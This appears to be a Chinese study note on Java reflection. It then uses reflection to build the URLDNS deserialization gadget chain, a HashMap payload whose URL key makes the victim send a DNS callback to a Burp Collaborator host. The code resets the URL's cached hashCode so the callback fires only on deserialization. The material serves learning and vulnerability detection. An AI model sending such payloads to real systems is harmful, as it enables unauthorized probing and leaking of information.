反射&&URLDNS
反射
引出
按照上面的HashMapper进行测试
先写HashMapper传入<url , integer>,传入url会继承Serializable 接口(所以可能存在反序列化触发点)
1
2
3
4
5
6
7public static void main(String[] args) throws Exception { Person person = new Person("aa", 22); HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); hashmap.put(new URL("http://b10yq17n3kqn4ase0d6wwz9jfa109p.burpcollaborator.net"), 1); // System.out.println(person); serialize(hashmap); }测试发现可以序列化(服务端出现请求),但是反序列化没有输出
不序列化也可以出现请求原因:
在HashMapper初始化的时候,将hashcode=-1

但是存在判断

也就是说,初始化的时候是-1,但是在put之后,hashcode发生改变,从而实现序列化反序列化
修复;
在初始化的时候不要发起请求
put之后,将hashcode变回-1;
所以就用到了反射
入门
解释
反射对应正射
正射
就是正常的java代码流程(已知初始化类,new对象,操作对象)
反射
未知初始化类,所以new不了
作用
反射的作用:让iava具有动态性
由于java是强类型语言,写啥就是啥(String name)
而php里面输入啥运行啥(eval< >)
利用反射就可以实现动态化
修改已有对象的属性
动态生成对象
动态调用方法操作内部类和私有方法
在反序列化漏洞的作用:
- 定制需要的对象
- 通过invoke调用除了同名函数以外的函数(以字符串接收方法,可以使用拼接实现绕过)
- 通过Class类创建对象,引入不能序列化的类
实现
Person类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 假设存在Person类
class Person {
public String name;
private int age;
public Person() {}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + '}';
}
}实现:(就是利用class方法,从原型class里面实例化对象)
从原型class里面实例化对象
c.newInstance();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
//反射就是操作Class
//从原型class里面实例化对象
//c.newInstance();
Constructor personconstructor = c.getConstructor(String.class, int.class);
Person p = (Person) personconstructor.newInstance("abc", 22);
System.out.println(p);
}
}解析:
- 利用class接收内容(进到class发现这个方法接收的参数是class类型 ,所以要写成String.class)
- 对于想要反射的对象
person,写入参数abc,22(分别对应string int )
输出:

**获取类里面属性 **
c.getFields()(是class的一个getFields()方法,返回一个
Field数组)‘ 注意:getFields(),返回的数组是每个
Field对象对应类中的一个公共字段(被public修饰的字段)
**c.getDeclaredFields()**可以返回private1
2
3
4
5//获取类里面属性 Field[] personfields = c.getFields(); for(Field f:personfields){ System.out.println(f); }解析:
- 利用的是Field
- 先建立一个名称为
personfields的Field数组 - 遍历数组到 f ( f 是临时存储当前遍历到的数组元素的变量)
- 输出f
输出:

但是,此处的int类型的age没有打印出来
原因:1
2public String name; private int age;name是public,age是private
但是使用
c.getDeclaredFields()即可打印
只传特定值(改变值)
1
2
3Field namefield = c.getField("name"); namefield.set(p,"saffs"); System.out.println(p);把上面的p(先前使用c.newInstance()的输出)的name属性改为
saffs输出:

getField也是私有的
private不能修改c.getDeclaredFields() namefield.setAccessible(true);即可
1
2
3
4Field namefield = c.getDeclaredField("age"); namefield.setAccessible(true); namefield.set(p,25); System.out.println(p);改成这样就有权限了
调用类里面的方法
使用
c.getMethods();1
2
3
4Method[] personmethods = c.getMethods(); for(Method m: personmethods){ System.out.println(m); }输出:(输出所有方法)

单个方法
invoke()某个对象的某个方法1
2Method actionmethod = c.getMethod("action", String.class); actionmethod.invoke(p, "dasqjfasqh");c.getMethod后面接收(方法名,class确切查询的类型)
invoke(传对象,传参数)

调用私有(同上加一个setAccessible(true)即可)
1
2
3Method actionmethod = c.getDeclaredMethod("action", String.class); actionmethod.setAccessible(true); actionmethod.invoke(p, "dasqjfasqh");
URLDNS 链
接上文的引出以及反射(URLDNS 链为例子)
1
2
3
4
5
6
7
public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
hashmap.put(new URL("http://b10yq17n3kqn4ase0d6wwz9jfa109p.burpcollaborator.net"), 1);
// System.out.println(person);
serialize(hashmap);
}java.net.URL 的 hashCode() 方法中,会触发 DNS 请求 到该 URL 的主机名(host)
现在的目的就是利用这条链
分析
目标是调用url类的hashcode类的方法
跟进到url
找到hashcode方法

在put的时候(跟进看看)
1
2
3public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }put调用hash(跟进hash)

发现hash调用了hashcode
所以put会发起请求
也就是说,是-1(初始化)就会发起请求
发起请求的作用:
发起请求是 攻击者想要的副作用,不是防护措施。相反它被用作 证据 或 辅助手段 来利用漏洞也就是到了url里面的hashcode判断

跟进hashCode

getHostAddress(u)会尝试把 URL 中的主机名解析成一个InetAddress对象(也就是 IP 地址), 如果主机名解析成功(addr不为 null),就把解析出来的 IP 地址的hashCode()加入到h(整个 URL 的哈希值)里 ; 如果 DNS 没解析成功(addr == null),那就直接取 URL 原始的host字符串跟进
getHostAddress
- 如果
host是 IP 地址,直接转换成InetAddress,不会走 DNS - 如果
host是域名,这里就会向系统的 DNS 解析器 发起请求,解析成 IP
- 如果
利用
攻击者希望 在构造 / 传输阶段不触发外联(避免被检测或提前暴露),但希望 在受害者反序列化时触发外联(证明漏洞或泄露信息)。因此:在构造时先把 hashCode 计算并缓存(≠ -1),再用反射把它改回 -1;序列化时不会触发;反序列化时会触发。
1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
//不要在此处发起请求
hashmap.put(new URL("http://b10yq17n3kqn4ase0d6wwz9jfa109p.burpcollaborator.net"), 1);
//通过这里将hashcode改为-1(利用反射)
serialize(hashmap);
}修改:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
// Person person = new Person("aa",22);
HashMap<URL, Integer> hashmap= new HashMap<>();
//这里不要发起请求,把url对象的hashcode改成不是-1
URL url = new URL("http://dta2x89uikgnnjtbztk9yexyepkh86.burpcollaborator.net");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashcode改回-1
//通过反射 改变已有对象的属性
hashcodefield.set(url,-1);
serialize(hashmap);
}没改之前,在序列化 就会受收到DNS请求(相当于是在本地发起请求,自己接收自己,不知道使用者能不能反馈)
(序列化本身没有发起 dns请求,是因为 HashMap 在序列化过程中调用了 URL.hashCode() ,URL.hashCode() 解析主机名发起 DNS 请求)
修改之后,序列化无请求,反序列化有请求(接受用户会显示dns)
核心
new一个对象,对象里面放url
将这个对象放在hashmap里面
进行序列化
最终通过反序列的dns请求,触发对 URL 中主机的 DNS 查询或网络请求
通过外部可观测的 DNS/HTTP 回连(OOB)来确认漏洞或窃取少量信息
流程
HashMap.readObject()
-> HashMap.putVal()
-> HashMap.hash()
-> URL.hashCode()
-> URLStreamHandler.hashCode()
-> URLStreamHandler.hashCode.getHostAddress()
-> getHostAddress.InetAddress.getByName() 这里发出 DNS 请求
- 入口A HashMap 接受参数O
- 目标类B URL
- 目标调用B.f
- A.readObject -> O.f -> 将B传入替换O-> 即调用B.f